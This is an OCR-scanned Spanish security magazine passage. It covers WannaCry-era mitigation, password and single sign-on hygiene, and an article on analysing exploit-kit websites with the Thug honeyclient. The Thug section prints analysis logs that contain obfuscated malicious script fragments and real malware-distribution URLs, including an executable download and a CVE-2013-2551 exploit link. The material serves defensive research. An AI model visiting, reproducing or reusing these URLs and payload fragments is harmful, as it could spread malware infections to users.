operacion, y existe infraestructura critica
que no puede ser ni actualizada ni migra-
da a nuevas versiones simplemente porque
la inferrupcion del servicio que brinda es
impensable, y tendria un impacto mayor
en la salud, las finanzas o la seguridad de
una organizacion o incluso de una nacion
entera.

Si la remediacion no puede ocurrir por me-
dio de actualizaciones, enftonces, ¢no hay
nada por hacer? Anton Chuvakin, analista
de Gartner, senala que “si las organizacio-
nes no pueden corregir el problema y no
pueden aceptar el riesgo, ¢ por qué no miti-
gan mas? Generalmente porque el mitigar
requiere confroles y los confroles cuestan
dinero y/o tiempo” (Chuvakin, 2017). Asi
que, ¢como mitigar? ¢Como mantener
seguros sistemas obsoletos y que no pue-
den ser actualizados? Ese es el reto. En ese
sentfido, el establecimiento de controles
compensatorios, como el deshabilitar ser-
vicios, limifar el acceso a la red, endurecer
configuraciones o implementar controles a
nivel de red, de host o de aplicacion, pue-
den ayudar a reducir el riesgo inherente a
sistemas que no pueden ser actualizados
(Chuvakin, 2013).

Conclusiones

Meses han pasado desde la aparicion
de WannaCry y aun parece poco tiempo
para saber qué lecciones se aprendieron.
Un mes después de este ataque, apare-
cio un nuevo ransomware conocido como
NotPetya, una variante del malware Petya,
el cual aprovechaba la misma vulnerabili-
dad que WannaCry para su propagacion,
sin embargo, el impacto y los tiempos de
respuesta ante este incidente fueron mu-
cho menores. A primera vista, este hecho
no representa una mejora significativa en
la forma en que se afrontan incidentes de
seguridad, ya que las companias esta-
ban preparadas para un ataque con esas
caracteristicas especificas. Sin embar-
go, este hecho parece demostrar que una
vez que se cuentan con planes y procesos
adecuados, el impacto y los riesgos pue-
den ser disminuidos. Los niveles de so-
fisticacion y alcance de los ataques esta
creciendo dia con dia, y este crecimiento
no va a detenerse. El siguiente gran ataque
esta gestandose en estos momentos en al -
gun lugar del mundo y las organizaciones
deberan estar preparadas, si es que algo
se ha aprendido.
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Una contrasena para
gobernarlos a todos

Said Ramirez Hernandez

Hoy en dia, la mayoria de las personas se
encuenfran registradas en al menos una
red social o tiene acceso a una cuenta
de correo electronico. Por esta razon, la
mayoria de las aplicaciones y plataformas
han decidido integrar el concepto de single
signon, el cual es un metodo utilizado para
permitir a los usuarios acceder a multiples
recursos o instancias medianfe una sola
identificacion, que por lo general es un
usuario y una contrasena. Este fipo de
mecanismos es de gran utilidad debido a
que se simplifican los procesos de registro
y de aufenticacion, pues unicamente se
debe otorgar autorizacion a la aplicacion y
listo.

Sin embargo, ¢alguna vez fte has detenido
a pensar sobre qué pasaria si un atacante

lograra apoderarse de fu usuario y contra-
sena de Facebook, de Google o cualquier
ofra de tus redes sociales? La respuesta
mas obvia seria que tendria la capacidad
de vulnerar la privacidad de tus mensajes,
notas personales, fotografias y todo tipo
de informacion que tengas almacenada en
esa red; incluso también podria danar tu
imagen y reputacion. Sitienes cuentas vin-
culadas el impacto no se queda ahi.

Pensemos por un momento en una
companiade lacual han comprometido sus
credenciales de LinkedIn con el objetivo
de publicar contfenido inapropiado o
que va en confra de sus politicas. Si esta
cuenta esta configurada para publicar
automaticamente en Facebook y Twitter, el
contenido de dichas publicaciones tendra
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una mayor audiencia, lo cual provocara
que el nombre de esta compania esté en
boca de fodos, inclusive podrian llegar a
perder la confianza de sus clientes, lo que
se fraduciria en una pérdida econdmica
para la organizacion.

El punto es que podemos concentrar una
cantfidad finita de aplicaciones vinculadas
con una sola identificacion, y eso no tie-
ne nada malo, siempre y cuando se tomen
las medidas apropiadas para protegerlas.
Tomemos como ejemplo a Facebook; si un
atacante se apoderara de tus credencia-
les, solamente tendria que ir a la seccion
de Apps dentro de la pestana de configura-
cion para obtener el listado de aplicaciones
que has autorizado, y asi poder autenticar
en cada una de ellas y causar un dano mu-
cho mayor. Interesante, ¢no? Como J. R. R.
Tolkien escribio en sus obras para referir-
se al “anillo unico” y haciendo una analogia
con este tema, se podria decir:

‘Una confrasena para gobernarlos a fodos,
una confrasena para enconfrarlos, v
causarles mucho dano’

Lo ideal seria contar con una contrasena
para cada sitio web o aplicacion que uftili-
ces en fu vida diaria, de esta forma, se mi-
nimizaria la superficie de ataque en caso
de que la seguridad de tus credenciales
se viera comprometida. Actualmente exis-
ten un sinfin de gestores de confrasenas,
algunos son nativos del sistema operativo
como el Keychain de macOS y otros son
multiplataforma, como Buttercup, KeePass
o 1password por mencionar algunos.

Pero al final estamos cayendo en la mis-
ma situacion, depositamos todos nuestros
accesos en un solo contenedor protegido
por una contrasena maestra, una huella
dactilar o cualquier ofro tipo de elemen-
to biométrico. Hay que recordar que, por
definicion un sistema no es 100% seguro
y siempre existira una vulnerabilidad aso-
ciada con este, imagina por un momento
que olvidas la contrasena maestra de tu
gestor de contrasena, toda aquella infor-

macion que hayas almacenado se perde-
ra. También existen las fallas de seguridad
asociadas con el desarrollo de software,
basta con recordar algunas aplicaciones
como LastPass, Keeper Password Mana-
ger o Dashlane Password Manager, entre
muchas otras, que han sido afectadas por
vulnerabilidades que permiten compro-
meter la seguridad de la informacion al-
macenaday “protegida” por ellos.

Es importante mencionar que la mayoria
de las plataformas, aplicaciones y servi-
cios que utilizamos dia a dia, cuentan con
un apartado dedicado a la seguridad den-
tro de sus opciones generales. En la ma-
yoria de ellos se pueden habilitar acciones
como el envio de alertas por correo o men-
saje de texto ante eventos como inicios de
sesion o nuevas autorizaciones o cambios
de contrasena. Incluso puedes habilitar
un segundo factor de autenticacion (2FA)
mediante laintegracion de untercerocomo
Google Authenticator, Microsoft Authen-
ticathor o Authy por mencionar algunos.
Con estamedida de seguridad, ademas de
autenticarte con tu usuario y contrasena
en la forma tradicional, tendras que ingre-
sar un codigo que se actualiza cada cierta
cantidad de segundos (60 segundos es el
valor mas comun).

Desafortunadamente, muchas de estas
opciones de seguridad vienen deshabilita-
das por defecto y requieren que el usuario
le dedique unos minutos para su configu-
racion. Ademas, atiende estas recomen-
daciones para mejorar tu seguridad.

+ Revisa el apartado de seguridad de to-
das las aplicaciones y plataformas con
las que frabajas en fu vida diaria.

« Recuerda que es importante cambiar
tus contrasenas con frecuencia, no
compartirlas con los demas, y si por
algunarazon lo fienes que hacer, cam-
biala inmediatamente después de que
la hayan terminado de ocupar.

« No uses palabras que aparezcan en un
diccionario o que sean faciles de adi-
vinar (tu nombre, fecha de nacimiento
o0 aniversario, lefras o numeros conse-
cutivos), no las escribas en un papel y
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no las guardes en un archivo de texto
plano sin protfeccion en tu computa-
dora, silo llegas a hacer, recuerda que
hay mecanismos para cifrar su conte-
nido como PGP (Pretty Good Privacy).
« Revisa el historial de los dispositivos
en los que has iniciado sesion, y si no
reconoces alguno, siempre tendras la
opcion de forzar el cierre de sesion.

Sin embargo, existe un problema comun
con el que fte puedes enfrentar al momen-
to de habilitar el 2FA y que tiene que ver
principalmente cuando se utiliza una apli-
cacion desarrollada por un tercero para
acceder a un determinado servicio como el
correo electronico o un dispositivo como
una consola de videojuegos o un repro-
ductor de contfenidos digitales. Pero no te
preocupes, porque siempre podras gene-
rar una “confrasena especifica por apli-
cacion” y evitarte este problema, la cual
mantiene un nivel alto de seguridady sin la
necesidad de memorizarla.

Recuerda que la seguridad la hacemos to-
dos, no simplifiques el tfrabajo de los ata-
cantes y protege fu informacion siempre.
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Thug Honeyclient: Afrapando sitios
web maliciosos

Sergio Anduin Tovar Balderas

Muchas veces hemos escuchado la frase
“el usuario es el eslabon mas débil de la
cadena”, lo cual implica multiples causas
que son aprovechadas por los ciberde-
lincuentes por medio de diferentes técni-
cas para comprometer los equipos de los
usuarios. ¢ Imaginas que tu dispositivo po-
dria ser comprometido con tan solo visitar
una pagina web en Internet?, esto se debe
a que los ciberdelincuentes comprometen
sitios web con poca seguridad e ingresan
codigo malicioso que explota vulnerabi-
lidades en nuestros navegadores. Estos
codigos maliciosos forman parte de un
paquete de exploits.

En este arficulo explicare el panorama
general de los paquetes de exploits vy
una prueba de concepto que consiste
en el analisis de tres sitios maliciosos

usando Thug. La implementacion del
cliente  honeypot (honeyclient) Thug
se puede consultar aqui. Conoce mas
sobre honeypots en el portal del Proyecto
Honeynet UNAM.

En 2016 las aplicaciones mas explotadas
fueron, en primer lugar, los navegado-
res web, en segundo lugar, los sistemas
operativos Windows, seguido en fercer
lugar por los sistemas operativos Android
y en cuarto lugar, el conjunto de aplicacio-
nes de Microsoft Office. Ademas, mas de
297 mil usuarios en el mundo fueron ata-
cados por exploits desconocidos (de dia
cero o conocidos pero muy ofuscados),
segun el reporte Afaques con exploits: de
amenazas diarias a campanas dirigidas
de Kaspersky Lab.
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Figura 1. Distribucion de usuarios atacados con exploifs
dirigidos a diferentes aplicaciones en 2016
(Kaspersky Lab)

Una de las principales tecnicas utilizadas
por los ciberdelincuentes son los ataques
del lado del cliente (client side attacks),
estos ataques aprovechan vulnerabilida-
des en las aplicaciones para ejecutar
codigo malicioso (por ejemplo, descargar
y ejecutar malware) sin la intervencion del
usuario. El navegador web es uno de
los principales vectores de ataque confra
usuarios. De acuerdo a las estadisticas de
los sitios NetMarketShare, W3Counter vy
StatCounter basado en el analisis del
comportamiento de los usuarios en Infer-
net, el navegador mas utilizado es Google
Chrome, seguido principalmente de Safari
o Internet Explorer(lE)/Edge y Firefox.
Continuamente son identificadas vulnera-
bilidades en los navegadores (Chrome,
Internet Explorer/Edge, Safariy Firefox) y
complementos (Adobe Reader, Adobe
Flash Player, Adobe Shockwave Player,
Java Runtime Environment, Microsoft
Silverlight) que son aprovechadas por los
atacantes con el fin de Ilevar acabo su ac-
tividad maliciosa.
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Figura 2. Graficas de navegadores usados de agosfo
2016 a agosto 2017 de NetMarketShare (superior) y
StatCounter (inferior)

Paquete de exploits

Un exploit es un programa o codigo
que al ejecutarse se aprovecha de una
vulnerabilidad en un sistema, programa
o protocolo, para que el creador de dicho
programa lo utilice en su beneficio, por
ejemplo, para crear una puerta trasera,
concebir un equipo zombie (bot), escalar
privilegios, instalar un rootkit, robar
informacion u ofrasactividadesmaliciosas.
Existen dos tipos basicos de exploits
que pueden identificarse como conocidos
ono conocidos (este ultimo también recibe
el nombre de exploits de dia cero o Oday).
Para los exploits conocidos existe un
registrodedivulgaciondevulnerabilidades
(Vulnerability Disclosure) en las paginas
oficiales de los programas, por ejemplo,
ApacheHTTP ServeroSecurity TechCenter,
en donde se encuenfra una solucion o
forma de mitigar la amenaza. Para los
exploits de dia cero no existe un registro
de la vulnerabilidad, esta es aprovechada
por los ciberdelincuentes para obtener
algun beneficio. Por esa razon es
importante mantenerse informado sobre la
divulgacion de vulnerabilidades y buscar
las Vulnerabilidades vy Exposiciones
Comunes (CVE, Common Vulnerabilities
and Exposures) de los sistemas vy
aplicaciones para tomar las medidas
necesarias con el fin de mitigar o reparar
el problema de seguridad.

Un paquete de exploits (EK, por sus si-
glas en inglés) o algunas veces Ilamado
exploit pack, son un conjunto de herra-
mientas (paginas de redireccion, paginas
de aterrizaje, payloads, exploits, malware,
gates, etcetera) que los ciberdelincuentes
emplean para automatizar sus ataques.
Sirven para aprovecharse de vulnerabili-
dades en diferentes navegadores web y
complementos como Adobe Reader, Flash
Player, Shockwave, Java, Microsoft Sil-
verlight en diferentes sistemas operativos
para obtfener algun beneficio, como pedir
una recompensa o realizar otras activida-
des maliciosas. Algunos EK cuentan con
consolas de administracion que ayudan al
ciberdelincuente a conocer el estado de su
operacion o campana.
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De acuerdo al Reporte de Amenazas de
Seguridad en Infernet (ISTR, Internet
Security Threat Report) numero 22 de
Symantec, el exploit kit Angler fue el mas
comun en 2016. Ademas, existen ofros
como Magnitude, Neutrino, Rig, Nuclear,
Sundown y Fiesta que han afectado con-
siderablemente a usuarios en todo el
mundo. Contindan surgiendo ofros como
Neptune, Disdain y Terror, este ultimo se
muestra en la prueba de concepto (PoC,
Proof of Concept) de este articulo.

Funcionamiento de un EK

Existen diferentes formas de infeccion
y funcionamiento de los paquetes de
exploits, dependiendo de las caracteris-
ticas particulares que tiene cada EK, la
infraestructura del EK empleada para los
ataques, campana y objetivo de los ciber-
delincuentes. A contfinuacion, se explican
de forma general las etapas de una infec-
cion con un paquete de exploits y se pue-
den observar en la figura 3.

Los ciberdelincuentes colocan anuncios
publicitarios con malware (malvertising)
o infroducen codigo malicioso en sifios
web con poca seguridad. Existen diferen-
tes técnicas utilizadas por los ciberdelin-
cuentes para afraer a los usuarios a visitar
un sitio, por ejemplo, a través de correos
no solicitados o basura (SPAM), mensa-
jes por medio de clientes de mensajeria
(Whatsapp, Telegram, Snapchat, Face-
book Messenger), redes sociales, SMS,
efcétera.

Posteriormente, los usuarios dan clic en el
anuncio malicioso del sitio o en el vinculo
del correo SPAM, o visitan el sitio compro-
metido y son redirigidos al sitio malicioso.
Estos sitios maliciosos obtienen informa-
cion del equipo de la victima, una vez que
detectan alguna version vulnerable del na-
vegador web o complementos, envian los
exploits; algunos EK envian instrucciones
(payload) que produce la descarga de pro-
gramas sin el consentimiento de los usua-
rios (drive-by download) logrando infectar

el equipo con algun tipo de malware como
un ransomware y esto se logra simplemen-
te al visitar el sitio.

Figura 3. Cadena de infeccion de un paquete de exploifs
(Trend Micro)

Si observamos un poco mas a detalle los
componentes de un ataque con paquetes
de exploits podemos encontrar:

 Landing page: son las paginas de ate-
rrizaje o destino del EK. Es un com-
ponente principal de la infraestruc-
tura de los EK ya que esta pagina es
enviada a los usuarios (no es visible
en el navegador debido a que se ocul-
tan con codigo HTML y CSS o ufilizan
codigo ofuscado). Estas paginas pue-
den identificar diferentes versiones
de los sistemas operativos, navega-
dores web y complementos con el
fin de identificar una vulnerabilidad
especifica y poder enviar el exploit
adecuado. Una vez explotada la vul-
nerabilidad, se ejecutan las instruc-
ciones contenidas en el payload per-
mitiendo descargar e instalar algun
programa o biblioteca de enlace dina-
mico para infectar al equipo con ran-
somware u otro tipo de malware.

« Gate o gateway server: el proposito de
estas paginas es evaluar a las victimas,
concediendo o negando el paso a cier-
to tipo de equipos. Evaluan las cabe-
ceras de los protocolos para identificar
si son sistemas reales y detectar si se
esta ejecutando en una sandbox o en
un honeypot, en cuyo caso se puede
detener su actuacion para evitar ser
analizado. También son utilizados en-
tre el sitio comprometido y la pagina
de aterrizaje (landing page) para con-
trolar la campana, por ejemplo, esta-
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blecer los paises, lenguajes, sistemas
operativos, navegadores, enfre otfras
caracteristicas.

« Panel de administracion (Management
Panel): estas paginas son utilizadas
por los ciberdelincuentes para cono-
cer el estado actual de la campana, ver
estadisticas (por navegador web, sis-
tema operativo, complementos, pais o
version), tasas de infeccion, adminis-
trar payloads y exploits, generacion de
nuevas paginas de redireccion, reali-
zar busquedas, crear y seguir campa-
nas, etcétera.

La figura 4 muestra el esquema de la in-
fraestructura utilizada por Magnitude, en
donde se aprecian los componentes de
este paquete de exploifs.

Magnitude Customers Gateway Servers

Victims

Joad
. ot
Vs’ Malware Distributio;
N Servers
& and uats

VPN /'
w
& @

Magnitude Admin scandyou

Figura 4. Arquitectura de Magnitud (Trustwave)

Management Panel N

Cabe mencionar que existen infraestruc-
turas mas complejas detras de los paque-
tes de exploits que pueden llegar a tener
servidores maestros, de panel de admi-
nistracion, gateway y de distribucion de
malware.

THUG

Un honeypot es un equipo senuelo confi-
gurado e instalado en una red de investi-
gacion o produccion para poder obtener
informacion de ataques, atacantes o intru-
sos. A diferencia de los honeypots, los
clientes honeypot o honeyclients permiten
analizar los ataques del lado del cliente, e
igual que los honeypot, estos también
pueden ser de alta o baja inferaccion. Los
honeyclient de baja interaccion estan
disenados para imitar el comportamiento
de una aplicacion del lado del cliente.
PhoneyC es un cliente honeypot virtual
(de baja inferaccion) debido a que solo

emula la funcion principal de un cliente
web sin ninguna caracteristica del sistema
operativo y cuenta con soporte de lengua-
jes dinamicos como JavaScript y Visual
Basic Script. Fue creado por Jose Nazario
en 2009.

Server

Honeypot
£
Request
Generates
Requests |
_ Benign
Server
LU Response
NS /%‘
Client Honeypc;c\_/
Pk Malicious
Server

Figura 5. Diferencias entre un Honeypoft (superior) y un
Honeyclient (inferior)

Angelo Dell’Aera comenzd a contribuir
en el desarrollo de PhoneyC a finales
del 2009. Mientras Angelo trabajaba en
PhoneyC encontro limitaciones en el dise-
Ao original. Durante los primeros meses de
2011, penso en un nuevo diseno y desarro-
[16 Thug, libero la version 0.1.0 en julio de
ese ano. Actualmente Thug se encuentra
en la version 0.9.5, las ultimas actualiza-
ciones se pueden encontrar en el proyecto
de Github, asi como su documentacion.

Thug es un honeyclient de baja interac-
cion hecho en Python, esta basado en
un enfoque hibrido de analisis (estatico
y dinamico) con el propdsito de imitar el
comportamiento de un navegador web,
asi como defectar y emular contenidos
maliciosos cuando intentan explotar al-
guna vulnerabilidad.

Thug proporciona una implementacion del
Modelo de Objetos del Documento (DOM,
Document Object Model) que es (casi)
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Document Object Model) que es (casi)
compatible con las especificaciones DOM,
HTML, eventos, vistas y estilo de W3C (ni-
vel 1, 2 y parcialmente 3). También usa el
motor de Javascript V8 de Google em-
bebido en PyV8 para analizar el codigo
Javascript malicioso y de la biblioteca
Libemu embebido en Pylibemu para detec-
tary emular los shellcodes.

Ademas, el honeyclient Thug cuenta con
multiples “personalidades”, aparenta ser
diferentes dispositivos como una compu-
tadora, celular o tableta. Cada dispositivo
puede ufilizar diversas versiones de siste-
mas operativos con diferentes navegado-
res web, cada navegador con una version
particular. Tambiéen es posible especificar
la version de los complementos que ufti-
lizara el navegador web e incluso puede
enviar informacion emulando movimien-
tos del raton. Los navegadores web que
personaliza son Infernet Explorer, Fire-
fox, Safari y Chrome. Tambiéen cuenta con
mulfiples modulos de vulnerabilidades
(controles ActiveX, principales funciona-
lidades del navegador, complementos de
navegador). Estas caracteristicas permiten
mejorar la emulacion y extender la interac-
cion del honeyclient, haciendole pensar a
los ciberdelincuentes que son un navega-
dor y usuario reales; esto posibilita la eje-
cucion de codigo malicioso como scripts y
exploits de los atacantes logrando obtener
mayor informacion y mejores resultados al
procesar y analizar los sitios maliciosos.

Thug envia una solicitud a la pagina web
con versiones especificas de un navega-
dor web y complementos (personalidad),
la pagina web procesa la solicitud y gene-
ra una respuesta. Thug procesa la res-
puesta del servidor con los modulos de
analisis (estatico y dinamico) y de vulne-
rabilidades, durante este proceso se iden-
tifican lenguajes de programaciony se de-
tecta codigo malicioso (payloads vy
shellcodes). Estos son ejecutados en el
honeyclient y si el codigo malicioso re-
quiere algo mas, se genera una nueva so-
licitud para descargar algun otro recurso,
como podria ser un malware. El honey-
client registra el analisis en las bitacoras
dependiendo de la configuracion (estos

datos se foman de los archivos de confi-
guracion y de los argumentos pasados a
través de la linea de comandos). Este pro-
ceso se repite por cada elemento de la pa-
gina web durante la visita. La figura 6
muestra el panorama general del funcio-
namiento de Thug.

Personalidades
(User-Agents)

Figura 6. Panorama general de funcionalidad (de Sergio
Anduin Tovar Balderas)

Prueba de concepto

En esta PoC (Proof of Concept) se mues-
fra el analisis de tres sitios maliciosos
usando Thug. Las diferentes opciones que
tiene el honeyclient permite realizar el
analisis de sitios con diferentes personali-
dades que incluyen diferentes versiones
de navegadores web, complementos y
sistemas operativos e inclusive emular ser
un dispositivo movil. Las opciones nos
ayudan a precisar versiones especificas
para lograr una emulacion lo mas cercana
a un navegador web para que el paquete
de exploits se ejecute de forma exitosa.
Las personalidades de Thug se pueden ver
en la siguiente figura.

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayuda
thug@honeyclient:~$ thug --list-ua

Synopsis:
Thug: Pure Python honsyclient implementation

Available User-Agents:
winxpie60 Internet Explorer 6.0 (Windows XP)
winxpie6l Internet Explorer 6.1 (Windows XP)
winxpie70 Internet Explorer 7.0 (Windows XP)
winxpiese Internet Explorer 8.0 (Windows XP)
winxpchrome20 Chrome 26.0.1132.47 (Windows XP)
winxpfirefox12 Firefox 12.0 (Windows XP)
winxpsafari5 Safari 5.1.7 (Windows XP)
win2kieb0 Internet Explorer 6.0 (Windows 20860)
win2kies® Internet Explorer 8.0 (Windows 2000)
win7ie80 Internet Explorer 8.0 (Windows 7)
win7ie90 Internet Explorer 9.0 (Windows 7)
win7iel00 Internet Explorer 10.0 (Windows 7)

Figura 7. Personalidades de Thug

Un escenario posible es el siguiente: el
usuariorecibey lee un correo electrénicono
solicitado (SPAM) y da clic en el enlace. Se
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inicia el navegador web prestablecido y
muestra el sitio http://dominioMalicioso.
com; este sitio a simple vista no realiza
ninguna accion o simplemente presenta
una pagina en blanco, pero cuando la
pagina es cargada en el navegador web
del usuario se ejecutan instrucciones no
entendibles (ofuscadas) que explotan
una vulnerabilidad, esta es aprovechada
para descargar y ejecutar un archivo
binario.

El primer sitio analizado con Thug es
http://dominioMaliciosol.com, donde se
utilizan las siguientes opciones (figura 8):

« -u win7ie100: especifica el agente de
usuario (personalidad), sistema ope-
rativo Windows 7 con Internet Explorer
10.0

« -n pocT:indica la ruta de salida de los
archivos y bitacoras del analisis

« -v: habilita el modo verbose, muestra
mayor detalle de la ejecucion

« -F: habilita el modo de registro de bi-
tacoras en archivo de texto

« -Z: habilita el modo de registro de bi-
tacoras en formato JSON

Si no se especifican los complementos a
traves de la linea de comandos, Thug em-
plea los prestablecidos (Java version
1.6.0.32, Adobe Acrobat Reader version
9.1.0y Shockwave Flash version10.0.64.0).

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayuda
thugghoneyclient:~$ thug -u win7iel08 -n pocl -v -F -Z http://dominioMaliciosol.com
[2017-69-25 19:04:54] [MongoDB] Analysis ID: 59c999a6e80eaba®22b7b137
[2017-09-25 19:04:54] [window open redirection] about:blank -= http://dominioMaliciosol.com
[2017-69-25 19:04:54] [HTTP] URL: http://dominioMaliciosol.com (Status: 200, Referer: None)
[2017-69-25 19:04:54] [HTTP] URL: http://dominiomaliciosol.com/ (Content-type: text/html, MD5:
5la3abef8147c763ealdal7183dde632)
[2017-69-25 19:04:54] <meta content="IE=10" http-equiv="X-UA-Compatible"/>
[2817-69-25 19:64:54] <script type="TEXT/JAVASCRIPT">

var vhz2z4='Q@il ar ut@stra@len harCodeAt @y@length@return@if@p@exffac4a
@b reak@nhile@sunes@f ronCharCode@c 265t ring@Func t1on@mx@c@n@eqt@ex  f 7 fachar2acl @nbCharedoawek
@X3cQCMIIF@AVgHbu2 f@ErTillax1kP@Eb@del ta@for@@x3F@char3@str2long@vl@join@T@BMOYPRD4H@key@nbcode
@false@KU@ut fB8tol6@s1@GIEMSTIELD] E@NtCion@g@nbencode@kEy@oPk@Long2st r@Yu@ES4cbWT FYGATE] yZAukYzv,

Figura 8. Ejecucion y codigo ofuscado en el primer sitio

En la siguiente figura se puede apreciar
parte del codigo de Visual Basic Script
(VBS) utilizado en este sitio malicioso.

225,287,225,297,283,288,224,279,298,279,178) ; return mini;}
[2017-69-25 19:04:54] <script type="text/vbscript"s
unction overyou(x)
For i=1 to Len(x) Step 2
overyousoveryou & Chr(CLng("&H" & Mid(x,1,2)) Xor N)

Figura 9. Ejecucion, analisis y grafica del primer sitio

Durante la revision del sitio, Thug emplea
los modulos de vulnerabilidades y realiza
un analisis hibrido (estatico y dinamico)
del codigo de la pagina principal. Durante

el analisis Thug detecta un codigo ofusca-
do, interpreta e identifica una URL (ht-
tp://4-ever.co.kr/4ever/data/m/win.exe)
en el codigo ofuscado, que resulta en una
redireccion para descargar el un archivo
ejecutable (win.exe).

=encode() ;var nbExE=_0x9119[9]+ nbExes+ _6x9119[9];var nbnburl=_0x9119[9]+ nburl+ _0x9119[9];va
r t=_6x9119[10];

[2017-09-25 19:04:54] [Shellcode Analysis] URL Detected: http://4-ever.co.kr/4ever/data/m/win.e
xe

[2017-09-25 19:04:54]

.kr/4ever/data/m/win.exe

[2017-09-25 19:04:55] [HTTP] URL: http://4-ever.co.kr/dever/data/m/win.exe (Status: 403, Refere
r: http://dominioMaliciosol.com)

[2017-09-25 19:04:55] [HTTP] URL: http://4-ever.co.kr/dever/data/m/win.exe (Content-type: text/
html; charset=iso-8859-1, MD5: fd8faeB51145441e55 f80a5a4e8801c0)

[2617-09-25 19:04:55] Thug analysis logs saved at pocl

Figura 10. Deteccion de codigo ofuscado y redireccion a
un archivo ejecutable

[URL found redirection] http://dominiomaliciosol.com/ -> http://4-ever.co

Cuando Thug esta analizando el sitio, ob-
tiene los archivosy los guarda en la carpe-
ta especificada (poc1, se puede apreciar
en ultima linea de la figura anterior), cada
archivo es nombrado con su firma MD5.
La estructura que crea el honeyclient para
este analisis es el siguiente.

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayuda
thug@honeyclient:~$ tree pocl
poc
analysis
|: graph. svg
json
L— analysis.json
text
html
L 51a3a6ef8147c763ea0dal7183dde632
html; charset=iso-8859-
L— fd8fae851145441e55f80a5a428801c0

5 directories, 4 files

Figura 11. Esfructura de archivos y bitacoras generadas
por Thug

Se puede consultar las firmas MD5 gene-
radas por Thug en VirusTotal o subir el ar-
chivo para tener ofra opinion de multiples
antivirus. Thug obtuvo un archivo princi-
pal del sitio (index.html) con la firma MD5
51a3a6ef8147c763ea0da17183dde632 vy
tambien la URL sospechosa (http://4-ever.
co.kr/4ever/data/m/win.exe). Para deter-
minar si el archivo sospechoso es algun
tipo de malware es necesario realizar un
analisis de malware.

El honeyclient Thug genera una imagen de
la interaccion con la pagina maliciosa fa-
cilifando en analisis de forma grafica, esta
imagen puede contener redirecciones a
ofras paginas u ofros archivos, iframe (sir-
ven para insertar un documento o mostrar
contenidos externos al sitio web), scripts,
etcéetera.

2] URL found

hitp://dominiomaliciosol.com hitp://4-ever.co.kr/4ever/data/m/win.exe |

Figura 12. Grafica de analisis del primer sifio

[1] window open
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https://www.virustotal.com/#/file/eabb322d51e946047c6c18a21102c1d6462655a096f917dc656adc6e50fdba81/detection
https://www.virustotal.com/#/file/eabb322d51e946047c6c18a21102c1d6462655a096f917dc656adc6e50fdba81/details
https://www.virustotal.com/#/url/1e639adae4d1a2aadf110e96b0de87893ae20102bc099e41d7f27ab65fdbd92c/detection

Configuracion

El segundo sitio analizado es http://domi-
nioMalicioso2.com, se ufiliza la persona-
lidad de un sistema operativo Windows 10
con Internet Explorer 11.0 empleando los
complementos preestablecidos y opcio-
nes antes mencionadas. Durante el analisis
se identificaron dos iframe que redirigen a
las URL http://159.203.15.85/3c5284133c-
62313b6b28a34f8cdfa328/a39401275d-
1b300aa789fb22aead148ay http://159.20
3.15.85/3¢c5284133¢c62313b6b28a34f8¢c-
dfa328/9526e055¢c9757becf45¢c5190fac-
fd9f2. En la figura 13 se pueden apreciar
estos deftalles.

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayuda

thugehoneyclient :~§ thug -u winl0ielld -n poc2 -v -F -Z http://dominioMalicioso2.com
[2017-69-25 19:37:41] [MongoDB] Analysis ID: 59c9alSSeBGeabalda3l8des

[2017-69-25 19:37:41] [window open redirection] about:blank -> http://dominioMalicioso2.com
[2017-69-25 19:37:41] [HTTP] URL: http://dominioMalicioso2.com (Status: 260, Referer: None)
[2017-69-25 19:37:41] [HTTP] URL: http://dominiomalicioso2.com/ (Content-type: text/html, MDS:
60c71980c4 fcdbe44e468d615b02e f82)

[2017-09-25 19:37:41] <iframe src="http://159.203.15.85/3c5284133c62313b6b28a3418cdTa328/a39401
275d1b300aa789fb22aead148a"></1 f rame>

[2017-69-25 19:37:41] [iframe redirection] http://dominiomalicioso2.com/ -> http://159.203.15.8
5/35284133¢62313b6b28a34 fBcd fa328/a39401275d1b300aa789 Fb22aead 148a

[2017-09-25 19:37:51] <iframe src="http://159.203.15.85/3c5284133c62313b6028a34 f8cd fa328/ 952620
55c9757bec F45c5190 fac fd9F2"></1 frame>

[2017-69-25 19:37:51] [iframe redirection] http://dominiomalicioso2.com/ -> http://159.203.15.8
5/35284133¢62313b6b28a34 fBcd fa328/95260055¢ 8757 bec F45c5190Fac Fd9f2

[2017-09-25 19:38:01] <script type="text/javascript">document .namespaces.add('v', 'urn:schemas-
microsoft-com:vml', “#default#VML") ;document .createStyleSheet () .cssText="v:*{behavior:url (#defa

Figura 13. Ejecucion y URL detectadas en el segundo sifio

Thug analiza un shellcode y detfecta una
URL que redirecciona a http://159.203.15.
85/d/3¢c5284133¢c62313b6b28a34f8cd -
fa328/?q=r4&r=62ba5e67f14ed186d58f-
c171909e09ba&e=cve20132551 que in-
tenta explotar la vulnerabilidad CVE-2013
-2551 (esta vulnerabilidad tambien la ex-
plota Terror, se revisara en el siguienfe
ejemplo), esta URL y las anteriores también
fueron consultadas en VirusTotal.

tyle.array.item(7)=vml2iten7; vml2.dashstyle.array.length=vil2len; return}exp('http://159.203.1
5.85/d/3c5284133¢62313b6h28a348cd fa328/ 7q=r4&r=62ba5e67 f14ed186d58 fc171909e09bate=cve20132551"
,'571a1938d1 fdbb@d3f6f0b3290228cbb ') ;

[2017-69-25 19:38:01] [HTMLDocument] Undefined: namespaces

[2017-89-25 19:38:01] [Shellcode Analysis] URL Detected: http://159.203.15.85/d/3c5284133c62313
b6b28a34 f8cdfa328/ 7q=r4&r=62ba5e67 f14ed1 86058 Tc171909e@9bate=cve20132551

[2017-09-25 19:38:01] [URL found redirection] http://dominiomalicioso2.com/ -> http://159.203.1
5.85/d/3c5284133¢62313b6b28a348cd fa328/ 2q=rd&r=62ba5e67 f14ed186d58 fc171909e09batie=cve20132551
[2017-69-25 19:38:11] <meta content="IE=EmulatelE8" http-equiv="X-UA-Compatible"/>

[2017-69-25 19:38:11] <script language="VBScript">

Figura 14. Defeccion y redireccion a URL maliciosa

En esta imagen se pueden ver los 2 iframe
que tiene la pagina y la redireccion a una
URL que intenta explorar una vulnerabili-
dad particular.

[3]iframe
[4] UPL found

bitp://159.203.15.85/3¢52841

Figura 15. Grafica de analisis del segundo sifio

El paquete de exploits Terror (Terror EK)
evalua a sus potenciales victimas determi-
nando el sistema operativo, navegador web
y complementos con el fin de enviar los ex-
ploits mas adecuados para comprometer el
equipo.

